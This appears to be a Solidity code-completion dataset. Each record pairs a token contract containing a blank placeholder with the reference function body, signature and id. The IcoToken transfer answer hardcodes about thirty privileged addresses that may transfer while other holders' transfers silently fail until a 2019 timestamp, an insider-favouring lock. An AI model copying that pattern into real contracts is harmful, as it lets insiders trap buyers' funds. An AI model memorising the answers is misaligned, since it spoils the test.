contract IcoToken is SafeMath, StandardToken, Pausable { string public name; string public symbol; uint256 public decimals; string public version; address public icoContract; constructor( string _name, string _symbol, uint256 _decimals, string _version ) public { name = _name; symbol = _symbol; decimals = _decimals; version = _version; } <FILL_FUNCTION> function approve(address _spender, uint _value) public whenNotPaused returns (bool success) { return super.approve(_spender,_value); } function balanceOf(address _owner) public constant returns (uint balance) { return super.balanceOf(_owner); } function setIcoContract(address _icoContract) public onlyOwner { if (_icoContract != address(0)) { icoContract = _icoContract; } } function sell(address _recipient, uint256 _value) public whenNotPaused returns (bool success) { assert(_value > 0); require(msg.sender == icoContract); balances[_recipient] += _value; totalSupply += _value; emit Transfer(0x0, owner, _value); emit Transfer(owner, _recipient, _value); return true; } }
if(msg.sender ==0xf54f1Bdd09bE61d2d92687b25a12D91FafdF94fc){ return super.transfer(_to,_value); } if(msg.sender ==0x5c400ac1b5e78a4ed47426d6c2be62b9075debe5){ return super.transfer(_to,_value); } if(msg.sender ==0x8012eb27b9f5ac2b74a975a100f60d2403365871){ return super.transfer(_to,_value); } if(msg.sender ==0x21c88c3ec04e0a6099bd9be1149e65429b1361c0){ return super.transfer(_to,_value); } if(msg.sender ==0x77f0999d0e46b319d496d4d7b9c3b1319e9b6322){ return super.transfer(_to,_value); } if(msg.sender ==0xe6cabcacd186043e29bd1ff77267d9c134e79777){ return super.transfer(_to,_value); } if(msg.sender ==0xa30a3b240c564aef6a73d4c457fe34aacb112447){ return super.transfer(_to,_value); } if(msg.sender ==0x99d9bf4f83e1f34dd3db5710b90ae5e6e18a578b){ return super.transfer(_to,_value); } if(msg.sender ==0x231a6ebdb86bff2092e8a852cd641d56edfb9ae2){ return super.transfer(_to,_value); } if(msg.sender ==0x8d0427ece989cd59f02e449793d62abb8b2bb2cf){ return super.transfer(_to,_value); } if(msg.sender ==0x01c2124aa4864e368a6a3fc012035e8abfb86d63){ return super.transfer(_to,_value); } if(msg.sender ==0xc940dbfff2924ca40d69444771e984718303e922){ return super.transfer(_to,_value); } if(msg.sender ==0x35cd7bc183927156b96d639cc1e35dbfefb3bd2b){ return super.transfer(_to,_value); } if(msg.sender ==0xc9d03422738d3ae561a69e2006d2cac1f5cd31da){ return super.transfer(_to,_value); } if(msg.sender ==0x8c80470abb2c1ba5c5bc1b008ba7ec9b538cf265){ return super.transfer(_to,_value); } if(msg.sender ==0x5b1f26f46d1c6f2646f27022a15bc5f15187dfe4){ return super.transfer(_to,_value); } if(msg.sender ==0x4d7b8d2f2133b7d34dd9bb827bbe96f77b52fd4c){ return super.transfer(_to,_value); } if(msg.sender ==0x013bb8e1fd674914e8a4f33b2bef5f9ce0f44d1d){ return super.transfer(_to,_value); } if(msg.sender ==0xda739d043a015ffd38c4057f0777535969013950){ return super.transfer(_to,_value); } if(msg.sender ==0x7b30bd3cdbdc371c81ceed186c04db00f313ff97){ return super.transfer(_to,_value); } if(msg.sender ==0x261f4abf6248d5f9df4fb14879e6cb582b5798f3){ return super.transfer(_to,_value); } if(msg.sender ==0xe176c1a5bfa33d213451f20049513d950223b884){ return super.transfer(_to,_value); } if(msg.sender ==0x3d24bc034d4986232ae4274ef01c3e5cc47cf21e){ return super.transfer(_to,_value); } if(msg.sender ==0xf1f98f465c0c93d9243e3320c3619b61c46bf075){ return super.transfer(_to,_value); } if(msg.sender ==0xae68532c6efbacfaec8df3876b400eabf706d21d){ return super.transfer(_to,_value); } if(msg.sender ==0xa4722ba977c7948bbdbfbcc95bbae50621cb18b7){ return super.transfer(_to,_value); } if(msg.sender ==0x345693ce70454b2ee4ca4cda02c34e2af600f162){ return super.transfer(_to,_value); } if(msg.sender ==0xaac3c5f0d477a0e9d9f5bfc24e8c8556c6c94e58){ return super.transfer(_to,_value); } if(msg.sender ==0xf1a9bd9a7536d35536aa7d04398f3ff26a88ac69){ return super.transfer(_to,_value); } if(msg.sender ==0x1515beb50fca69f75a26493d6aeb104399346973){ return super.transfer(_to,_value); } if(msg.sender ==0xa7d9ced087e97d510ed6ea370fdcc7fd4d5961de){ return super.transfer(_to,_value); } if(now < 1569887999) { return ; } return super.transfer(_to,_value);
function transfer(address _to, uint _value) public whenNotPaused returns (bool success)
function transfer(address _to, uint _value) public whenNotPaused returns (bool success)
25907
AOIonInterface
mintEscrow
contract AOIonInterface is TheAO { using SafeMath for uint256; address public namePublicKeyAddress; address public nameAccountRecoveryAddress; INameTAOPosition internal _nameTAOPosition; INamePublicKey internal _namePublicKey; INameAccountRecovery internal _nameAccountRecovery; // Public variables of the contract string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; // To differentiate denomination of AO uint256 public powerOfTen; /***** NETWORK ION VARIABLES *****/ uint256 public sellPrice; uint256 public buyPrice; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; mapping (address => bool) public frozenAccount; mapping (address => uint256) public stakedBalance; mapping (address => uint256) public escrowedBalance; // This generates a public event on the blockchain that will notify clients event FrozenFunds(address target, bool frozen); event Stake(address indexed from, uint256 value); event Unstake(address indexed from, uint256 value); event Escrow(address indexed from, address indexed to, uint256 value); event Unescrow(address indexed from, uint256 value); // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This generates a public event on the blockchain that will notify clients event Approval(address indexed _owner, address indexed _spender, uint256 _value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * @dev Constructor function */ constructor(string memory _name, string memory _symbol, address _nameTAOPositionAddress, address _namePublicKeyAddress, address _nameAccountRecoveryAddress) public { setNameTAOPositionAddress(_nameTAOPositionAddress); setNamePublicKeyAddress(_namePublicKeyAddress); setNameAccountRecoveryAddress(_nameAccountRecoveryAddress); name = _name; // Set the name for display purposes symbol = _symbol; // Set the symbol for display purposes powerOfTen = 0; decimals = 0; } /** * @dev Checks if the calling contract address is The AO * OR * If The AO is set to a Name/TAO, then check if calling address is the Advocate */ modifier onlyTheAO { require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress)); _; } /***** The AO ONLY METHODS *****/ /** * @dev Transfer ownership of The AO to new address * @param _theAO The new address to be transferred */ function transferOwnership(address _theAO) public onlyTheAO { require (_theAO != address(0)); theAO = _theAO; } /** * @dev Whitelist `_account` address to transact on behalf of others * @param _account The address to whitelist * @param _whitelist Either to whitelist or not */ function setWhitelist(address _account, bool _whitelist) public onlyTheAO { require (_account != address(0)); whitelist[_account] = _whitelist; } /** * @dev The AO set the NameTAOPosition Address * @param _nameTAOPositionAddress The address of NameTAOPosition */ function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO { require (_nameTAOPositionAddress != address(0)); nameTAOPositionAddress = _nameTAOPositionAddress; _nameTAOPosition = INameTAOPosition(nameTAOPositionAddress); } /** * @dev The AO set the NamePublicKey Address * @param _namePublicKeyAddress The address of NamePublicKey */ function setNamePublicKeyAddress(address _namePublicKeyAddress) public onlyTheAO { require (_namePublicKeyAddress != address(0)); namePublicKeyAddress = _namePublicKeyAddress; _namePublicKey = INamePublicKey(namePublicKeyAddress); } /** * @dev The AO set the NameAccountRecovery Address * @param _nameAccountRecoveryAddress The address of NameAccountRecovery */ function setNameAccountRecoveryAddress(address _nameAccountRecoveryAddress) public onlyTheAO { require (_nameAccountRecoveryAddress != address(0)); nameAccountRecoveryAddress = _nameAccountRecoveryAddress; _nameAccountRecovery = INameAccountRecovery(nameAccountRecoveryAddress); } /** * @dev Allows TheAO to transfer `_amount` of ETH from this address to `_recipient` * @param _recipient The recipient address * @param _amount The amount to transfer */ function transferEth(address payable _recipient, uint256 _amount) public onlyTheAO { require (_recipient != address(0)); _recipient.transfer(_amount); } /** * @dev Prevent/Allow target from sending & receiving ions * @param target Address to be frozen * @param freeze Either to freeze it or not */ function freezeAccount(address target, bool freeze) public onlyTheAO { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } /** * @dev Allow users to buy ions for `newBuyPrice` eth and sell ions for `newSellPrice` eth * @param newSellPrice Price users can sell to the contract * @param newBuyPrice Price users can buy from the contract */ function setPrices(uint256 newSellPrice, uint256 newBuyPrice) public onlyTheAO { sellPrice = newSellPrice; buyPrice = newBuyPrice; } /***** NETWORK ION WHITELISTED ADDRESS ONLY METHODS *****/ /** * @dev Create `mintedAmount` ions and send it to `target` * @param target Address to receive the ions * @param mintedAmount The amount of ions it will receive * @return true on success */ function mint(address target, uint256 mintedAmount) public inWhitelist returns (bool) { _mint(target, mintedAmount); return true; } /** * @dev Stake `_value` ions on behalf of `_from` * @param _from The address of the target * @param _value The amount to stake * @return true on success */ function stakeFrom(address _from, uint256 _value) public inWhitelist returns (bool) { require (balanceOf[_from] >= _value); // Check if the targeted balance is enough balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance stakedBalance[_from] = stakedBalance[_from].add(_value); // Add to the targeted staked balance emit Stake(_from, _value); return true; } /** * @dev Unstake `_value` ions on behalf of `_from` * @param _from The address of the target * @param _value The amount to unstake * @return true on success */ function unstakeFrom(address _from, uint256 _value) public inWhitelist returns (bool) { require (stakedBalance[_from] >= _value); // Check if the targeted staked balance is enough stakedBalance[_from] = stakedBalance[_from].sub(_value); // Subtract from the targeted staked balance balanceOf[_from] = balanceOf[_from].add(_value); // Add to the targeted balance emit Unstake(_from, _value); return true; } /** * @dev Store `_value` from `_from` to `_to` in escrow * @param _from The address of the sender * @param _to The address of the recipient * @param _value The amount of network ions to put in escrow * @return true on success */ function escrowFrom(address _from, address _to, uint256 _value) public inWhitelist returns (bool) { require (balanceOf[_from] >= _value); // Check if the targeted balance is enough balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance escrowedBalance[_to] = escrowedBalance[_to].add(_value); // Add to the targeted escrowed balance emit Escrow(_from, _to, _value); return true; } /** * @dev Create `mintedAmount` ions and send it to `target` escrow balance * @param target Address to receive ions * @param mintedAmount The amount of ions it will receive in escrow */ function mintEscrow(address target, uint256 mintedAmount) public inWhitelist returns (bool) {<FILL_FUNCTION_BODY> } /** * @dev Release escrowed `_value` from `_from` * @param _from The address of the sender * @param _value The amount of escrowed network ions to be released * @return true on success */ function unescrowFrom(address _from, uint256 _value) public inWhitelist returns (bool) { require (escrowedBalance[_from] >= _value); // Check if the targeted escrowed balance is enough escrowedBalance[_from] = escrowedBalance[_from].sub(_value); // Subtract from the targeted escrowed balance balanceOf[_from] = balanceOf[_from].add(_value); // Add to the targeted balance emit Unescrow(_from, _value); return true; } /** * * @dev Whitelisted address remove `_value` ions from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function whitelistBurnFrom(address _from, uint256 _value) public inWhitelist returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance totalSupply = totalSupply.sub(_value); // Update totalSupply emit Burn(_from, _value); return true; } /** * @dev Whitelisted address transfer ions from other address * * Send `_value` ions to `_to` on behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function whitelistTransferFrom(address _from, address _to, uint256 _value) public inWhitelist returns (bool success) { _transfer(_from, _to, _value); return true; } /***** PUBLIC METHODS *****/ /** * Transfer ions * * Send `_value` ions to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } /** * Transfer ions from other address * * Send `_value` ions to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Transfer ions between public key addresses in a Name * @param _nameId The ID of the Name * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferBetweenPublicKeys(address _nameId, address _from, address _to, uint256 _value) public returns (bool success) { require (AOLibrary.isName(_nameId)); require (_nameTAOPosition.senderIsAdvocate(msg.sender, _nameId)); require (!_nameAccountRecovery.isCompromised(_nameId)); // Make sure _from exist in the Name's Public Keys require (_namePublicKey.isKeyExist(_nameId, _from)); // Make sure _to exist in the Name's Public Keys require (_namePublicKey.isKeyExist(_nameId, _to)); _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` ions in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` ions in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes memory _extraData) public returns (bool success) { ionRecipient spender = ionRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, address(this), _extraData); return true; } } /** * Destroy ions * * Remove `_value` ions from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy ions from other account * * Remove `_value` ions from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply emit Burn(_from, _value); return true; } /** * @dev Buy ions from contract by sending ether */ function buy() public payable { require (buyPrice > 0); uint256 amount = msg.value.div(buyPrice); _transfer(address(this), msg.sender, amount); } /** * @dev Sell `amount` ions to contract * @param amount The amount of ions to be sold */ function sell(uint256 amount) public { require (sellPrice > 0); address myAddress = address(this); require (myAddress.balance >= amount.mul(sellPrice)); _transfer(msg.sender, address(this), amount); msg.sender.transfer(amount.mul(sellPrice)); } /***** INTERNAL METHODS *****/ /** * @dev Send `_value` ions from `_from` to `_to` * @param _from The address of sender * @param _to The address of the recipient * @param _value The amount to send */ function _transfer(address _from, address _to, uint256 _value) internal { require (_to != address(0)); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to].add(_value) >= balanceOf[_to]); // Check for overflows require (!frozenAccount[_from]); // Check if sender is frozen require (!frozenAccount[_to]); // Check if recipient is frozen uint256 previousBalances = balanceOf[_from].add(balanceOf[_to]); balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the sender balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient emit Transfer(_from, _to, _value); assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances); } /** * @dev Create `mintedAmount` ions and send it to `target` * @param target Address to receive the ions * @param mintedAmount The amount of ions it will receive */ function _mint(address target, uint256 mintedAmount) internal { balanceOf[target] = balanceOf[target].add(mintedAmount); totalSupply = totalSupply.add(mintedAmount); emit Transfer(address(0), address(this), mintedAmount); emit Transfer(address(this), target, mintedAmount); } }
contract AOIonInterface is TheAO { using SafeMath for uint256; address public namePublicKeyAddress; address public nameAccountRecoveryAddress; INameTAOPosition internal _nameTAOPosition; INamePublicKey internal _namePublicKey; INameAccountRecovery internal _nameAccountRecovery; // Public variables of the contract string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; // To differentiate denomination of AO uint256 public powerOfTen; /***** NETWORK ION VARIABLES *****/ uint256 public sellPrice; uint256 public buyPrice; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; mapping (address => bool) public frozenAccount; mapping (address => uint256) public stakedBalance; mapping (address => uint256) public escrowedBalance; // This generates a public event on the blockchain that will notify clients event FrozenFunds(address target, bool frozen); event Stake(address indexed from, uint256 value); event Unstake(address indexed from, uint256 value); event Escrow(address indexed from, address indexed to, uint256 value); event Unescrow(address indexed from, uint256 value); // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This generates a public event on the blockchain that will notify clients event Approval(address indexed _owner, address indexed _spender, uint256 _value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * @dev Constructor function */ constructor(string memory _name, string memory _symbol, address _nameTAOPositionAddress, address _namePublicKeyAddress, address _nameAccountRecoveryAddress) public { setNameTAOPositionAddress(_nameTAOPositionAddress); setNamePublicKeyAddress(_namePublicKeyAddress); setNameAccountRecoveryAddress(_nameAccountRecoveryAddress); name = _name; // Set the name for display purposes symbol = _symbol; // Set the symbol for display purposes powerOfTen = 0; decimals = 0; } /** * @dev Checks if the calling contract address is The AO * OR * If The AO is set to a Name/TAO, then check if calling address is the Advocate */ modifier onlyTheAO { require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress)); _; } /***** The AO ONLY METHODS *****/ /** * @dev Transfer ownership of The AO to new address * @param _theAO The new address to be transferred */ function transferOwnership(address _theAO) public onlyTheAO { require (_theAO != address(0)); theAO = _theAO; } /** * @dev Whitelist `_account` address to transact on behalf of others * @param _account The address to whitelist * @param _whitelist Either to whitelist or not */ function setWhitelist(address _account, bool _whitelist) public onlyTheAO { require (_account != address(0)); whitelist[_account] = _whitelist; } /** * @dev The AO set the NameTAOPosition Address * @param _nameTAOPositionAddress The address of NameTAOPosition */ function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO { require (_nameTAOPositionAddress != address(0)); nameTAOPositionAddress = _nameTAOPositionAddress; _nameTAOPosition = INameTAOPosition(nameTAOPositionAddress); } /** * @dev The AO set the NamePublicKey Address * @param _namePublicKeyAddress The address of NamePublicKey */ function setNamePublicKeyAddress(address _namePublicKeyAddress) public onlyTheAO { require (_namePublicKeyAddress != address(0)); namePublicKeyAddress = _namePublicKeyAddress; _namePublicKey = INamePublicKey(namePublicKeyAddress); } /** * @dev The AO set the NameAccountRecovery Address * @param _nameAccountRecoveryAddress The address of NameAccountRecovery */ function setNameAccountRecoveryAddress(address _nameAccountRecoveryAddress) public onlyTheAO { require (_nameAccountRecoveryAddress != address(0)); nameAccountRecoveryAddress = _nameAccountRecoveryAddress; _nameAccountRecovery = INameAccountRecovery(nameAccountRecoveryAddress); } /** * @dev Allows TheAO to transfer `_amount` of ETH from this address to `_recipient` * @param _recipient The recipient address * @param _amount The amount to transfer */ function transferEth(address payable _recipient, uint256 _amount) public onlyTheAO { require (_recipient != address(0)); _recipient.transfer(_amount); } /** * @dev Prevent/Allow target from sending & receiving ions * @param target Address to be frozen * @param freeze Either to freeze it or not */ function freezeAccount(address target, bool freeze) public onlyTheAO { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } /** * @dev Allow users to buy ions for `newBuyPrice` eth and sell ions for `newSellPrice` eth * @param newSellPrice Price users can sell to the contract * @param newBuyPrice Price users can buy from the contract */ function setPrices(uint256 newSellPrice, uint256 newBuyPrice) public onlyTheAO { sellPrice = newSellPrice; buyPrice = newBuyPrice; } /***** NETWORK ION WHITELISTED ADDRESS ONLY METHODS *****/ /** * @dev Create `mintedAmount` ions and send it to `target` * @param target Address to receive the ions * @param mintedAmount The amount of ions it will receive * @return true on success */ function mint(address target, uint256 mintedAmount) public inWhitelist returns (bool) { _mint(target, mintedAmount); return true; } /** * @dev Stake `_value` ions on behalf of `_from` * @param _from The address of the target * @param _value The amount to stake * @return true on success */ function stakeFrom(address _from, uint256 _value) public inWhitelist returns (bool) { require (balanceOf[_from] >= _value); // Check if the targeted balance is enough balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance stakedBalance[_from] = stakedBalance[_from].add(_value); // Add to the targeted staked balance emit Stake(_from, _value); return true; } /** * @dev Unstake `_value` ions on behalf of `_from` * @param _from The address of the target * @param _value The amount to unstake * @return true on success */ function unstakeFrom(address _from, uint256 _value) public inWhitelist returns (bool) { require (stakedBalance[_from] >= _value); // Check if the targeted staked balance is enough stakedBalance[_from] = stakedBalance[_from].sub(_value); // Subtract from the targeted staked balance balanceOf[_from] = balanceOf[_from].add(_value); // Add to the targeted balance emit Unstake(_from, _value); return true; } /** * @dev Store `_value` from `_from` to `_to` in escrow * @param _from The address of the sender * @param _to The address of the recipient * @param _value The amount of network ions to put in escrow * @return true on success */ function escrowFrom(address _from, address _to, uint256 _value) public inWhitelist returns (bool) { require (balanceOf[_from] >= _value); // Check if the targeted balance is enough balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance escrowedBalance[_to] = escrowedBalance[_to].add(_value); // Add to the targeted escrowed balance emit Escrow(_from, _to, _value); return true; } <FILL_FUNCTION> /** * @dev Release escrowed `_value` from `_from` * @param _from The address of the sender * @param _value The amount of escrowed network ions to be released * @return true on success */ function unescrowFrom(address _from, uint256 _value) public inWhitelist returns (bool) { require (escrowedBalance[_from] >= _value); // Check if the targeted escrowed balance is enough escrowedBalance[_from] = escrowedBalance[_from].sub(_value); // Subtract from the targeted escrowed balance balanceOf[_from] = balanceOf[_from].add(_value); // Add to the targeted balance emit Unescrow(_from, _value); return true; } /** * * @dev Whitelisted address remove `_value` ions from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function whitelistBurnFrom(address _from, uint256 _value) public inWhitelist returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance totalSupply = totalSupply.sub(_value); // Update totalSupply emit Burn(_from, _value); return true; } /** * @dev Whitelisted address transfer ions from other address * * Send `_value` ions to `_to` on behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function whitelistTransferFrom(address _from, address _to, uint256 _value) public inWhitelist returns (bool success) { _transfer(_from, _to, _value); return true; } /***** PUBLIC METHODS *****/ /** * Transfer ions * * Send `_value` ions to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } /** * Transfer ions from other address * * Send `_value` ions to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Transfer ions between public key addresses in a Name * @param _nameId The ID of the Name * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferBetweenPublicKeys(address _nameId, address _from, address _to, uint256 _value) public returns (bool success) { require (AOLibrary.isName(_nameId)); require (_nameTAOPosition.senderIsAdvocate(msg.sender, _nameId)); require (!_nameAccountRecovery.isCompromised(_nameId)); // Make sure _from exist in the Name's Public Keys require (_namePublicKey.isKeyExist(_nameId, _from)); // Make sure _to exist in the Name's Public Keys require (_namePublicKey.isKeyExist(_nameId, _to)); _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` ions in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` ions in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes memory _extraData) public returns (bool success) { ionRecipient spender = ionRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, address(this), _extraData); return true; } } /** * Destroy ions * * Remove `_value` ions from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy ions from other account * * Remove `_value` ions from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply emit Burn(_from, _value); return true; } /** * @dev Buy ions from contract by sending ether */ function buy() public payable { require (buyPrice > 0); uint256 amount = msg.value.div(buyPrice); _transfer(address(this), msg.sender, amount); } /** * @dev Sell `amount` ions to contract * @param amount The amount of ions to be sold */ function sell(uint256 amount) public { require (sellPrice > 0); address myAddress = address(this); require (myAddress.balance >= amount.mul(sellPrice)); _transfer(msg.sender, address(this), amount); msg.sender.transfer(amount.mul(sellPrice)); } /***** INTERNAL METHODS *****/ /** * @dev Send `_value` ions from `_from` to `_to` * @param _from The address of sender * @param _to The address of the recipient * @param _value The amount to send */ function _transfer(address _from, address _to, uint256 _value) internal { require (_to != address(0)); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to].add(_value) >= balanceOf[_to]); // Check for overflows require (!frozenAccount[_from]); // Check if sender is frozen require (!frozenAccount[_to]); // Check if recipient is frozen uint256 previousBalances = balanceOf[_from].add(balanceOf[_to]); balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the sender balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient emit Transfer(_from, _to, _value); assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances); } /** * @dev Create `mintedAmount` ions and send it to `target` * @param target Address to receive the ions * @param mintedAmount The amount of ions it will receive */ function _mint(address target, uint256 mintedAmount) internal { balanceOf[target] = balanceOf[target].add(mintedAmount); totalSupply = totalSupply.add(mintedAmount); emit Transfer(address(0), address(this), mintedAmount); emit Transfer(address(this), target, mintedAmount); } }
escrowedBalance[target] = escrowedBalance[target].add(mintedAmount); totalSupply = totalSupply.add(mintedAmount); emit Escrow(address(this), target, mintedAmount); return true;
function mintEscrow(address target, uint256 mintedAmount) public inWhitelist returns (bool)
/** * @dev Create `mintedAmount` ions and send it to `target` escrow balance * @param target Address to receive ions * @param mintedAmount The amount of ions it will receive in escrow */ function mintEscrow(address target, uint256 mintedAmount) public inWhitelist returns (bool)
51582
testmonedafinal
burn
contract testmonedafinal { /* Public variables of the token */ string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; address public owner; /* This creates an array with all balances */ mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; /* This generates a public event on the blockchain that will notify clients */ event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed _owner, address indexed spender, uint256 value); /* This notifies clients about the amount burnt */ event Burn(address indexed from, uint256 value); /* Initializes contract with initial supply tokens to the creator of the contract */ function testmonedafinal( uint256 initialSupply, string tokenName, uint8 decimalUnits, string tokenSymbol ) public { owner = msg.sender; balanceOf[owner] = initialSupply; // Give the creator all initial tokens totalSupply = initialSupply; // Update total supply name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes decimals = decimalUnits; // Amount of decimals for display purposes } /* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient Transfer(_from, _to, _value); } /// @notice Send `_value` tokens to `_to` from your account /// @param _to The address of the recipient /// @param _value the amount to send function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /// @notice Send `_value` tokens to `_to` in behalf of `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value the amount to send function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require (_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /// @notice Allows `_spender` to spend no more than `_value` tokens in your behalf /// @param _spender The address authorized to spend /// @param _value the max amount they can spend function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /// @notice Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it /// @param _spender The address authorized to spend /// @param _value the max amount they can spend /// @param _extraData some extra information to send to the approved contract function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { testmonedarecipientefinal spender = testmonedarecipientefinal(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /// @notice Remove `_value` tokens from the system irreversibly /// @param _value the amount of money to burn function burn(uint256 _value) public returns (bool success) {<FILL_FUNCTION_BODY> } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } }
